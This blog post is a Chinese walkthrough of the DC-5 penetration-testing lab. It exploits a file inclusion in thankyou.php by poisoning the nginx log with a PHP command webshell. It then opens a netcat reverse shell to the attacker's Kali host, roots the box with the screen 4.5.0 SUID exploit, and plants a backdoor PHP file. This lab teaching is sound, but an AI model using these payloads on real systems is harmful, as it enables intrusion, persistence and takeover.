当前位置:   article > 正文

10.100个渗透测试实战#10(DC-5)_对80 端口渗透

对80 端口渗透

世间一切皆可努力

                                                                                                                                                                                   感谢浏览 

目录

一、实验环境

二、实验流程

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

4.分析所得:

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

2.分析所得:

(三)渗透测试——80端口(http服务)

        1.枚举靶机网站的目录和页面等;

2.在扫描的同时,访问主页、robots.txt、指纹识别;

3.逐个访问扫描结果;

4.分析所得:

5.测试http://192.168.97.156/contact;

6.结合BP,爆破thankyou.php页面,验证是否是文件包含;

7.访问http://192.168.97.156/footer.php;

8.既然有文件包含,我们需要爆破传参参数(结合BP);

9.分析所得:

(四)渗透测试——利用nginx的日志和文件包含漏洞,Getshell

1.向/var/log/access/nginx/log内写入系统cmd和phpinfo()函数;

2.利用文件包含,读取日志,验证是否写入cmd和phpinfo();

3.利用文件包含,执行刚刚上传的php代码,从而调用cmd执行系统命令,反弹shell;

4.转换为交互式shell;

(五)渗透测试——致命连问,进一步信息收集,从而获取root权限

1.略过致命连问;

2.suid提权;

3.进入root家目录,获取flag;

(六)清楚痕迹,留下后门

1.向/var/www/html目录下传输1.php;

2.尝试菜刀连接,读取目录结构,右键开启终端;

四、总结

1.注意页脚的变化,发现文件包含;

2.结合BP,可以爆破传参变量;

3.nginx的日志/var/log/nginx/access.log自动记录正确的GET请求,从此处写入恶意代码;

4.screen 4.5.0存在着提权漏洞41154.sh(需要修改,提前编译,以及:set ff=unix);


    

一、实验环境

  • 靶机:DC-5,IP地址:192.168.97.156
  • 测试机:Kali,IP地址:192.168.97.129
  • 测试机:物理机Win10
  • 连接方式:NAT

二、实验流程

  • 信息收集——主机探测阶段
  • 信息收集——端口(服务)扫描阶段
  • 渗透测试——80端口(发现文件包含,爆破页面footer.php,爆破传参变量file)
  • 渗透测试——Getshell(向日志内写入<?php system($_GET['cmd']);?>)
  • 渗透测试——本地提权(screen 4.5.0的漏洞)
  • 清楚痕迹,留下后门

三、实验步骤

(一)信息收集——主机发现阶段

1.查看kali的网卡、IP等信息;(网卡名:eth0,IP地址:192.168.97.129)

  • ifconfig -a

       -a    显示详细信息

2.查看靶机页面;

3.探测特定网络的主机存活状态;(netdiscover,arp-scan、nmap)

  • netdiscover -i eth0 -r 192.168.97.0/24

           -i   指定出口网卡

           -r   指定待扫描网段

  • arp-scan -l

           --localnet or -l    指定扫描本地网络 

  • nmap -sP 192.168.97.0/24

           -sP   ping扫描且不扫描端口

4.分析所得:

  • 靶机:192.168.97.156
  • 测试机kali:192.168.97.129

(二)信息收集——端口(服务)扫描阶段

1.扫描靶机的端口、服务、running_OS等信息;

  • nmap -p- -sV -O -A 192.168.97.156

            -p-      扫描全端口

            -sV     扫描端口的服务信息

            -O/A   扫描靶机的运行的操作系统信息

2.分析所得:

  • 共扫描65535个端口,有三个端口打开;
  • 80端口处于open状态,对应开启了http服务,使用中间件是nginx;
  • 111端口处于open状态,对应开启了rpcbind服务;
  • 57077端口处于open状态,对应RPC;
  • 靶机的推测其内核版本是3.2-4.9之间

(三)渗透测试——80端口(http服务)

1.枚举靶机网站的目录和页面等;

  • dirb http://192.168.97.156 /usr/share/dirb/wordlists/big.txt

           如下图所示,就只有两个目录:css、images

  • 御剑扫描,http://192.168.97.156

2.在扫描的同时,访问主页、robots.txt、指纹识别;

  • http://192.168.97.156

  • http://192.168.97.156/robotx.txt

  • whatweb http://192.168.97.156

3.逐个访问扫描结果;

  • http://192.168.97.156/css

  • http://192.168.97.156/images

4.分析所得:

  • 只有一个主页的contact栏目处可以留言;

5.测试http://192.168.97.156/contact;

  • 第一次尝试:<script>alert(123)</script>

  • 第二次尝试:'or'1'#

  • 分析上面的结果,发现Copyright后面的年份可以变化,猜测有文件包含漏洞

6.结合BP,爆破thankyou.php页面,验证是否是文件包含;

  • 浏览器开启代理

  • 打开BP
  • 浏览器再次访问
  • BP拦截,送入Intruder,配置Positions模块和Payloads模块,点击Start Attack开始爆破

  • 分析爆破结果

        如下图所示,破解出了about-us、solutions、footer页面(因为about-us和solutions页面主页上有明显标出,又因为copyright在页脚的位置,footer.php也是页脚页面的意思,那么我猜测可能就是footer页面有文件包含)

7.访问http://192.168.97.156/footer.php;

  • 关闭浏览器的代理

  • http://192.168.97.156/footer.php

          如下图所示,f15刷新,即可出现不同的页面

8.既然有文件包含,我们需要爆破传参参数(结合BP);

  • 开启浏览器代理

  • 启动BP
  • 浏览器访问:http://192.168.97.156/thankyou.php
  • f15刷新页面,发送请求
  • BP拦截,送入Intruder页面,修改Positions模块和Payload模块,点击Start Attack开始爆破传参参数

  • 爆破结果如下,传参的变量是file

9.分析所得:

  • 存在文件包含漏洞:http://192.168.97.156/thankyou.php?file=/etc/passwd
  • nginx的日志默认目录是/var/log/nginx/access.log(该日志自动存储正确的GET请求,我们可以通过构造GET请求向日志文件内写入cmd,再利用文件包含执行命令反弹shell)

(四)渗透测试——利用nginx的日志和文件包含漏洞,Getshell

1.向/var/log/access/nginx/log内写入系统cmd和phpinfo()函数;

  • 结合BP,修改GET请求为:GET <?php system($_GET['cmd']);phpinfo();?> HTTP/1.1    

               如下图所示,放通即可向日志内写入cmd和phpinfo()函数

2.利用文件包含,读取日志,验证是否写入cmd和phpinfo();

  • http://192.168.97.153/thankyou.php?file=/var/log/nginx/access.log

             如下图所示,phpinfo()函数起到了作用,所以写入成功

3.利用文件包含,执行刚刚上传的php代码,从而调用cmd执行系统命令,反弹shell;

  • kali,打开侦听:nc -nvlp 8443

  • 浏览器请求:http://192.168.97.156/thankyou.php?file=/var/log/nginx/access.log&cmd=nc -nv 192.168.97.129 8443 -c bash

  • kali端,成功反弹shell

4.转换为交互式shell;

  • python -c 'import pty;pty.spawn("/bin/bash")'

(五)渗透测试——致命连问,进一步信息收集,从而获取root权限

1.略过致命连问;

2.suid提权;

  • find / -perm -u=s 2>/dev/null

          如下图所示,发现了可以命令:/bin/screen-4.5.0

  • 进入kali,搜索相关的漏洞:searchsploit screen 4.5.0

              如下图所示,51154.sh

  • searchsploit 41154.sh -m

          如下图所示,把该Exp复制到当前目录;但是这个脚本直接执行是出错的,我们需要完成以下几个工作

  • 把41154.sh EXP内容:上面的c语言,剪切另存,保存为/tmp/libhax.c     提前编译:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

  • 把下面的c语言,剪切另存,保存为/tmp/rootshell.c    提前编译:gcc -o /tmp/rootshell  /tmp/rootshell.c

  • 把剩下的内容,vi打开,进入末行模式输入  :set ff=unix    

  • 保存后,重命名为mv 41154.sh  dc5.sh

  • 逐个把三个文件传输到靶机

             nc -lp 1234 < libhax.so
             nc -lp 1234 < rootshell 
             nc -lp 1234 < dc5.sh

  • 逐个接收:

             cd  /tmp
             nc -nv 192.168.97.129 1234 > libhax.so
             nc -nv 192.168.97.129 1234 > rootshell 
             nc -nv 192.168.97.129 1234 > dc5.sh

  • 给dc5.sh赋予执行权限:chmod u+x dc5.sh

  • ./dc5.sh   执行脚本,即可提升权限

3.进入root家目录,获取flag;

  • cd /root
  • ls
  • cat thisistheflag.txt

(六)清楚痕迹,留下后门

1.向/var/www/html目录下传输1.php;

2.尝试菜刀连接,读取目录结构,右键开启终端;

四、总结

1.注意页脚的变化,发现文件包含;

2.结合BP,可以爆破传参变量;

3.nginx的日志/var/log/nginx/access.log自动记录正确的GET请求,从此处写入恶意代码;

4.screen 4.5.0存在着提权漏洞41154.sh(需要修改,提前编译,以及:set ff=unix);

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/很楠不爱3/article/detail/399130
推荐阅读
相关标签
  

闽ICP备14008679号